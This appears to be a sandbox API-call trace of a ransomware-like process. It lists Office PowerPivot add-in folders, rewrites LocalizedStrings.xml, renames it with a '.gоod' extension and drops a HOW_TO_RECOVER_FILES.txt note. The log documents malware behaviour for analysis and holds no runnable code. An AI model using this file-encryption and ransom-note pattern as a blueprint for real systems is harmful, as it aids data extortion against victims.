hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1480f75, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf158c060, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0256.889] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf755cb7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0256.889] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c6cdcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c6cdcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c6cdcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0256.890] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0256.890] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0256.890] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x637c06e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x637c06e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x637c06e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0256.890] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x688d06d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0256.890] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x688d06d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0256.890] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0256.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0256.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0256.891] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0256.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0256.891] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x3bc81a8 | out: lpFileInformation=0x3bc81a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1072)) returned 1 [0256.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0256.891] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0256.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0256.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0256.892] GetFileType (hFile=0x86c) returned 0x1 [0256.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0256.892] GetFileType (hFile=0x86c) returned 0x1 [0256.892] SetFilePointer (in: hFile=0x86c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0256.892] ReadFile (in: hFile=0x86c, lpBuffer=0x3bc8660, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3bc8660*, lpNumberOfBytesRead=0x206ec9c8*=0x72, lpOverlapped=0x0) returned 1 [0256.893] CloseHandle (hObject=0x86c) returned 1 [0256.893] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0256.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0256.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0256.893] GetFileType (hFile=0x86c) returned 0x1 [0256.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0256.893] GetFileType (hFile=0x86c) returned 0x1 [0256.893] SetFilePointer (in: hFile=0x86c, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1072 [0256.893] WriteFile (in: hFile=0x86c, lpBuffer=0x3bc9948*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3bc9948*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0256.893] CloseHandle (hObject=0x86c) returned 1 [0256.893] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0256.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0256.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0256.894] GetFileType (hFile=0x86c) returned 0x1 [0256.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0256.894] GetFileType (hFile=0x86c) returned 0x1 [0256.894] ReadFile (in: hFile=0x86c, lpBuffer=0x3bcbc58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3bcbc58*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0256.920] CloseHandle (hObject=0x86c) returned 1 [0256.921] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0256.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0256.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0256.921] GetFileType (hFile=0x86c) returned 0x1 [0256.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0256.921] GetFileType (hFile=0x86c) returned 0x1 [0256.921] WriteFile (in: hFile=0x86c, lpBuffer=0x3bca960*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3bca960*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0256.921] CloseHandle (hObject=0x86c) returned 1 [0256.921] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0256.921] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0256.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0256.921] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9559bd46, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1082)) returned 1 [0256.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0256.921] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\localizedstrings.xml.gоod")) returned 1 [0256.923] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0256.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0256.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\et\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0256.924] GetFileType (hFile=0x86c) returned 0x1 [0256.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0256.924] GetFileType (hFile=0x86c) returned 0x1 [0256.924] WriteFile (in: hFile=0x86c, lpBuffer=0x3c4ab58*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3c4ab58*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0256.925] CloseHandle (hObject=0x86c) returned 1 [0256.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0256.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu", lpFilePart=0x0) returned 0x51 [0256.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134afe0 [0256.926] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.926] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0256.926] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf158c060, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0256.926] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0194432, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0256.926] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2cf9c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2cf9c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0256.926] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42fef17, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf43e3cb7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fda98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0256.927] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa2834f0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa2834f0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0256.927] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x68ff786, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0256.927] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf03d07a0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf03d07a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0256.927] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b0f72e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b359a5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0256.927] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22a9f7a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0256.927] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf466c4e5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf466c4e5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf466c4e5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0256.927] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4d48116, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4d48116, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0256.928] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9992797, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9992797, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9992797, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0256.928] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf10a1263, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12b7378, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0256.928] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 